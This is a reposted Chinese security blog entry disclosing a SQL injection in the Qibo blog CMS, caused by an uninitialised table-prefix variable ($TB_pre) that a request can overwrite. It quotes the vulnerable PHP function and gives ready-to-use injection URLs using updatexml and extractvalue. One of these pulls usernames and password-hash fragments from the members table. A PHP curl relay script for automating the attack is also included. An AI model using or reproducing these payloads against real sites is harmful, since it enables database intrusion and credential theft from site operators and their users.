齐博博客系统sql注入一枚(版本限制,部分通过)

没穿底裤 2020年1月1日05:37:16评论405 views字数 1727阅读5分45秒阅读模式
摘要

/blog/template/space/file/listbbs.php这个函数中的$TB_pre未初始化,然后根据齐博系统的伪全局变量注册。然后造成sql注入。

/blog/template/space/file/listbbs.php

function get_listbbs($rows){   global $db,$uid,$TB_pre,$Mrows,$page,$Morder,$Mdesc,$webdb,$VlogCfg;   $VlogCfg[content_leng]==0 && $VlogCfg[content_leng]=120;     if($page<1){    $page=1;   }   $min=($page-1)*$rows;   $albumid && $SQL=" AND albumid='$albumid' ";   $Mdesc[listbbs] || $Mdesc[listbbs]='DESC';   $Morder[listbbs] || $Morder[listbbs]="tid";   $query = $db->query("SELECT T.*,C.* FROM {$TB_pre}threads T LEFT JOIN {$TB_pre}tmsgs C ON T.tid=C.tid WHERE T.authorid='$uid' ORDER BY T.$Morder[listbbs] $Mdesc[listbbs] LIMIT $min,$rows");   while($rs = $db->fetch_array($query)){    $rs[postdate]=date("Y-m-d H:i",$rs[postdate]);    if($VlogCfg[content_leng]>0){     $rs[content]=@preg_replace('/<([^>]*)>/is',"",$rs[content]); //把HTML代码过滤掉     $rs[content]=get_word($rs[content],$VlogCfg[content_leng]);    }else{     $rs[content]='';    }    $listdb[]=$rs;   }   return $listdb;  }

这个函数中的$TB_pre未初始化,然后根据齐博系统的伪全局变量注册。然后造成sql注入。

可以构造

http://127.0.0.1/qibo_blog/blog/index.php?file=listbbs&uid=1&id=1&TB_pre=qb_module where 1=1 or updatexml(2,concat(0x7e,(user())),0) %23

齐博博客系统sql注入一枚(版本限制,部分通过)

demo
齐博博客系统sql注入一枚(版本限制,部分通过)

附上一个中转的脚本

<?php set_time_limit(0);  $id=$_GET["id"];  $id=str_replace(" ","%20",$id);  $id=str_replace("=","%3D",$id);   $url = "http://blog.0day5.com/blog/index.php?file=listbbs&uid=1&id=1&TB_pre=qb_module%20where%201=$id%23"; //更改为你需要提交的地址  echo $url;  $ch = curl_init();  curl_setopt($ch, CURLOPT_URL, "$url");  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  curl_setopt($ch, CURLOPT_HEADER, 0);  $output = curl_exec($ch);  curl_close($ch); print_r($output); ?>

提供一个注入的语句,这里好像暂时我就只能用extractvalue出数据,但是extractvalue的长度限制位32位。所以这里直接截取了

http://0day5.com/blog.php?id=1%20and%20extractvalue%281,concat%280x7e7e7e,%28select%20concat%28username,0x7c7c7c,SUBSTRING%28%28select%20password%20from%20qb_members%20limit%200,1%29,9,16%29%29from%20qb_members%20limit%200,1%29,0x7e7e7e%29%29

齐博博客系统sql注入一枚(版本限制,部分通过)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日05:37:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   齐博博客系统sql注入一枚(版本限制,部分通过)http://cn-sec.com/archives/76501.html

发表评论

匿名网友 填写信息